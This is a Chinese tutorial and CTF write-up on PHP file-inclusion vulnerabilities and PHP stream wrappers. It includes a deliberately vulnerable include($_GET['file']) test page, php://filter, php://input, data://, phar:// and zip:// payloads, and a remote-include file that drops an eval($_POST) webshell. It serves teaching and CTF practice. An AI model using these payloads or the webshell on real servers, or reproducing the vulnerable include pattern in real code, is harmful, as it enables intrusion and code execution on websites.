文件包含漏洞与PHP语言特性
一、文件包含
1、简介
在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。
2、常见文件包含漏洞
1、include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,然后继续向下执行。
2、include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
3、require()
Require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
4、require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
5、highlight_file()、show_source()
函数对文件进行语法高亮显示,通常能看到源代码
6、readfile()、file_get_contents()、
函数读取一个文件,并写入到输出缓冲
7、fopen()
打开一个文件或者url
3、文件包含漏洞分类
3.1、本地文件包含
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
3.2、远程文件包含漏洞
本地文件包含和远程文件包含造成漏洞的原因是一样的,
当php.ini 中的配 置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以 是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
所以远程文件包含条件:需要满足两个条件在php.ini中。当php.ini 中的配置选项
- allow_url_fopen:on
- allow_url_include:on
4、搭建平台
- 在phpstudy软件 WWW目录下创建一个flag.txt文件。
- 在** www/test**目录下创建一个test_include.php,代码如下:
<?php highlight_file(__FILE__); if(isset($_GET['file'])) { $str = $_GET['file']; include $_GET['file']; } - 访问页面如下:

- 这时候提交 ?file=…/flag.txt,便可以查看到flag.txt的内容。

5、路径的访问
5.1 绝对路径
绝对路径是指文件在硬盘上真正存在的路径。
例如“1.txt”这个文件是存放在硬盘的“C:\Users\15063\Desktop”目录下,那么 “1.txt”这个文档的绝对路径就是“C:\Users\15063\Desktop\1.txt”。
5.2 相对路径
相对于自己的目标文件位置。
例如“1.htm”文件所在目录为“C:\Users\15063\Desktop\lqf”,而“1.txt”文件所在目录为“C:\Users\15063\Desktop”,那么“1.txt”相对于“1.htm”文件来说,是在其所在目录的上级目录里。
5.3 路径绕过技巧
添加一些其他路径穿行。例如:

二、PHP伪协议
PHP伪协议事实上就是PHP支持的协议与封装协议
1、file:// -- 访问本地文件系统
2、http:// --访问http(s)网址
3、Phar:// --PHP归档
4、Php:// --访问各个输入/输出流
5、Zlib:// --压缩流
6、Data:// --数据
7、Glob:// --查找匹配的文件路径模式
8、ftp:// --访问ftp(s)URLs
9、ssh2:// --Secure Shell 2
10、rar:// --RAR
11、ogg:// --音频流
12、expect:// --处理交互式的流
1、 file:// 协议
用于访问本地文件系统,通常用于读取本地文件而且不会收到allow_url_fopen和allow_url_include的影响。
在include()/require()/include_once()/require_once()参数可控的情况下,如果导入非.php的文件,则仍按照php语法进行解析,因为这个是include()函数决定的
例如上面搭建的环境中我们可以使用file://协议读取flag.txt文件。
2、 php:// 协议
常用的php://协议
- php://filter: 用于读源码。
- php://input: 用于执行php代码
2.1 php://filter:
- 语法:php://filter/read=convert.base64-encode/resource=页面名称
- convert.base64-encode: 转换过滤器对数据源使用base64编码。
- convert.base64-decode: 转换过滤器对数据源进行base64解码码。
- resource=<要过滤的数据流>: 必须项。它指定了你要筛选过滤的数据流。
- read=<读链的过滤器> : 可选项。可以设定一个或多个过滤器名称,以管道符隔开
- write=<写链的过滤器>: 可选项。可以设定一个或多个过滤器名称,以管道符隔开
- <;两个链的筛选列表> : 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况 应用于读或写链
- 绕过:可以添加一些不相关的路径,例如:php://filter/read=convert.base64-encode/jhkajklj/resource=页面名称。
- 练习:查看自己搭建页面的源代码:返回的是base64编码过的数据,用base64解码后得到源代码。

3 、php://input
- 此协议需要allow_url_include为on。
- 可以访问请求的原始数据的只读流, 将POST请求中的数据作为PHP代码执行。
- 当传入的参数作为文件名打开时,可以将参数设为php://input。
- 当POST想设置的文件内容,PHP执行时会将POST内容当作文件内容。
- enctype=“multipart/form-data” 的时候 php://input 是无效的。
- 可以将PHP代码POST发送并执行
- 练习:在自己搭建的环境中,使用php://input

4、data://
-
条件:allow_url_fopen:on 、allow_url_include :on
-
可以将PHP代码使用data://协议发送执行
-
用法:
- data://text/plain,
- data://text/plain;base64,
-
练习:在自己搭建的平台,将<?php echo("hello");?>发送并执行。

-
使用base64编码

5、phar://协议
- 可以访问压缩文件中的子文件。
- 不受allow_url_fopen 和 allow_url_include的影响。
- 用法:phar://[压缩文件的路径]/[被压缩的文件
- 练习:
- 创建一个shell_hello.php文件:内容为<?php echo("hello");?>
- 将shell_hello.php压缩shell_hello.zip

- 也可以使用:phar://…/ shell_hello.zip/shell_hello.php——相对路径。
- 将shell_hello.php 修改后缀成shell_hell_php.png,再进行压缩。也能用phar://协议访问。

6、zip://
- 可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
- 不受allow_url_fopen 和 allow_url_include的影响。
- 要用#分隔压缩包和压缩包内的内容,并且#要用url编码%23
- 练习:

- 路径也可以使用绝对路径。
- 将shell_hello.php 修改后缀成shell_hell_php.png,再进行压缩。也能用zip://协议访问。

7、远程代码生成WebShell
-
当allow_url_fopen 和 allow_url_include都为on时。

-
shell.txt的内容为:
<?php file_put_contents('shell.php','<?php eval($_POST["data"]);?>');?> -
会在当前网页目录下生成一个shell.php文件,内容为:<?php eval($_POST["data"]);?>
三、CTF练习
3.1 [极客大挑战 2019]Secret File

-
查看源代码:得到一个链接,文本时Oh! You found me。所以我们点进去看看

-
进去之后:

– 点击弹出了下面页面,然后查看源码,没有什么新发现。我们打开BurpSuite 查看 HTTP History。

-
打开HTTP History,我们看到在end.php前面有一个action.php页面。我们点开它的Pretty,看到一个secr3t.php

-
将页面发送到Repeater里面。

-
使用GET请求,传入一个“file”参数,如果file值包含“…/”或者“tp”、“input”、“data”则返回“Oh no!” 并结束。并且告诉我们flag存在flag.php里面。
-
直接传入flag.php,但是查看源码并没有flag。

-
直接尝试使用php://filter读取flag.php。php://filter/read=convert.base64-encode/resource=flag.php 。

-
将返回的值进行base64解码,得到flag。

3.2 had a bad day

- 随便点一个。

- 尝试用php://filter读取index.php。php://filter/read=convert.base64-encode/resource=index.php 查看以下index.php 。看报错信息,知道服务器自动补了.php后缀。

- php://filter/read=convert.base64-encode/resource=index 把.php后缀去掉后提交,进行base64解码。分析源码,知道了,如果提交的file值不含woofers或者meowers、index的话,就会提示错误。

- 利用 /woofers/…/ 进行过滤,尝试去获取flag.php。php://filter/read=convert.base64-encode/woofers/…/resource=flag

- 得到flag

本文详细介绍了PHP的文件包含漏洞,包括本地和远程文件包含,并讲解了PHP的伪协议,如file://、php://filter和php://input等,通过实例展示了如何利用这些协议读取和执行代码。此外,还提供了CTF练习来加深理解。
1239





